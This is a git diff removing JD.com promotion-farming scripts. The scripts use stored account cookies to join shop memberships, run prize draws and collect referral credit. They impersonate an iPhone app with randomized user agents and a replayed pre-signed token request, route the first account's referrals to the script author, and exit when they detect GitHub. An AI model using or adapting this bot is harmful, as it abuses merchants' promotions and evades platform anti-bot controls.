`https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - if(data.result && data.result.giftInfo){ - for(let i of data.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(data.success == false){ - $.log(data.message) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function startDraw(type) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` - $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = $.toObj(data); - if(data.errorMessage || data.data.errorMessage) console.log(`抽奖:${data.errorMessage || data.data.errorMessage || ''}`) - if(data.count == 0 && data.result == true){ - console.log(`抽奖获得:${data.data.drawOk && data.data.name || '空气💨'}`) - }else{ - $.log($.toStr(data)) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res && res.data || ''); - } - }) - }) -} - - -function drawContent() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/drawContent`, - body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getActorUuid() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activityContent`, - body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus - if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus - if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`activityContent ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getUserInfo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, - body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getUserInfo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function adLog() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, - body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] - if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ - $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' - $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getHtml() { - return new Promise(resolve => { - $.get({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'X-Requested-With': 'com.jingdong.app.mall', - 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getMyPing() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - body: `userId=${$.shopId || $.venderId}&token=${$.isvObfuscatorToken}&fromType=APP`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] - $.lz_jdpin_token = '' - if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ - $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res.data || ''); - } - }) - }) -} -function getSimpleActInfoVo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, - body: `activityId=${$.activityId}`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId - if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getWxCommonInfoToken () { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Origin':'https://lzdz1-isv.isvjcloud.com', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} wxCommonInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY - if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`token ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getIsvObfuscatorToken () { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'api.m.jd.com', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Accept": "application/json", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - "Host": "lzdz1-isv.isvjcloud.com", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "X-Requested-With": "XMLHttpRequest", - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard9.js b/backUp/gua_opencard9.js deleted file mode 100644 index 62e2869..0000000 --- a/backUp/gua_opencard9.js +++ /dev/null @@ -1,758 +0,0 @@ -/* -8.11-8.15 星动七夕 纵享丝滑 [gua_opencard9.js] -新增开卡脚本 -一次性脚本 - -邀请一人20豆 被邀请也有20豆(有可能没有豆 -开2个卡 抽奖可能获得20京豆(有可能有抽到空气💨 -关注10京豆 (有可能是空气💨 -加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku9]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard9="true" -———————————————— -若是手机用户(不是nodejs环境) 是默认直接执行脚本的 -没有适配加购变量 所以是不加购 -———————————————— -入口:[8.11-8.15 星动七夕 纵享丝滑 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=078b967203634b208aaf65085d91a970&shareUuid=d87a80e864dd45909d11f098b9efb3d0)] -============Quantumultx=============== -[task_local] -#8.11-8.15 星动七夕 纵享丝滑 -39 0,22 8-15 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard9.js, tag=8.11-8.15 星动七夕 纵享丝滑, enabled=true - -================Loon============== -[Script] -cron "39 0,22 8-15 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard9.js,tag=8.11-8.15 星动七夕 纵享丝滑 - -===============Surge================= -8.11-8.15 星动七夕 纵享丝滑 = type=cron,cronexp="39 0,22 8-15 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard9.js - -============小火箭========= -8.11-8.15 星动七夕 纵享丝滑 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard9.js, cronexpr="39 0,22 8-15 8 *", timeout=3600, enable=true -*/ -const $ = new Env('8.11-8.15 星动七夕 纵享丝滑'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = false -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaopencard9 || process.env.guaopencard9 == "false") { - console.log('如需执行脚本请设置环境变量[guaopencard9]为"true"') - return - } - 